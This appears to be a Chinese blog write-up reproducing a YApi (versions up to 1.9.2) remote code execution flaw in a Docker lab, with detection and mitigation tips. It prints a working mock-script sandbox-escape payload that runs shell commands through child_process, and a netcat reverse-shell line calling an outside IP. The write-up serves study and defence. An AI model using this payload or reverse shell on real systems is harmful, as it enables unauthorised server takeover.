漏洞复现-yapi远程执行命令漏洞复现

目录


漏洞原理

漏洞发现

查看issue2229

漏洞描述

网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。

影响范围

Yapi <= 1.9.2

yapi学习

YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

通过官方文档学习如何新建项目

通过官方文档学习如何新建接口

通过官方文档学习Mock脚本与优先级

漏洞复现

环境搭建

这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0

yaml 复制代码
version: '3'

services:
  yapi-web:
    image: jayfong/yapi:1.8.0
    container_name: yapi-web
    ports:
      - 40001:3000
    environment:
      - YAPI_ADMIN_ACCOUNT=admin@docker.yapi
      - YAPI_ADMIN_PASSWORD=adm1n
      - YAPI_CLOSE_REGISTER=false
      - YAPI_DB_SERVERNAME=yapi-mongo
      - YAPI_DB_PORT=27017
      - YAPI_DB_DATABASE=yapi
      - YAPI_MAIL_ENABLE=false
      - YAPI_LDAP_LOGIN_ENABLE=false
      - YAPI_PLUGINS=[]
    depends_on:
      - yapi-mongo
    links:
      - yapi-mongo
    restart: unless-stopped
  yapi-mongo:
    image: mongo:latest
    container_name: yapi-mongo
    volumes:
      - ./data/db:/data/db
    expose:
      - 27017
    restart: unless-stopped

启动镜像

bash 复制代码
docker-compose up -d

启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号

查看安装脚本,找到密码

打开WEB UI,使用admin@hello.yapi、ymfe.org登录

新建项目

新建接口

exp

设置全局mock脚本

javascript 复制代码
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

可以把ls改为反弹shell等,例如

bash 复制代码
 nc 10.28.144.100  7777 -e /bin/sh

访问接口预览中的Mock地址即可看到命令结果。

入侵检测与防御

更新为最新版、禁止注册是最好的防御方式

入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:

bash 复制代码
ps -eo pid,ppid,comm,args

可以看到进程1的子进程是117,很可疑

bash 复制代码
netstat -anp | grep ESTABLISHED

可以看到子进程117在与10.28.144.100的7777端口进行通信

参考

github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi

相关推荐
星云API技术支持11 天前
企业微信二次开发项目实战:从实例接入到消息收发与 Webhook 回调的完整链路
机器人·yapi·企业微信
星云API技术支持11 天前
企业微信二次开发如何实现外部群自动化?从消息监听到接口调用完整流程
机器人·yapi·企业微信
星云API技术支持11 天前
企业微信二次开发消息收发实战:单聊、群聊与事件消息如何统一处理
机器人·yapi·企业微信
星云API技术支持13 天前
企业微信二次开发:如何把企业微信消息实时同步到自有管理后台
机器人·yapi·企业微信
星云API技术支持13 天前
企业微信二次开发实战:群聊消息触发接口后如何自动执行指定任务
机器人·yapi·企业微信
星云API技术支持13 天前
企业微信二次开发实战:群聊、单聊与系统事件如何建立统一处理机制
机器人·yapi·企业微信
星云API技术支持14 天前
企业微信二次开发:如何实现群消息识别、自动响应和异常消息人工处理
机器人·yapi·企业微信
星云API技术支持16 天前
企业微信二次开发完整方案:消息收发、外部群机器人、自动回复、Webhook 一套跑通
机器人·yapi·企业微信
SamChan902 个月前
在Web应用中集成PDF多语言翻译功能:PDFTranslator API实战指南
前端·python·ai·pdf·yapi·机器翻译
vpk1126 个月前
Docker Compose 部署 Yapi(连接本地MongoDB)
mongodb·docker·yapi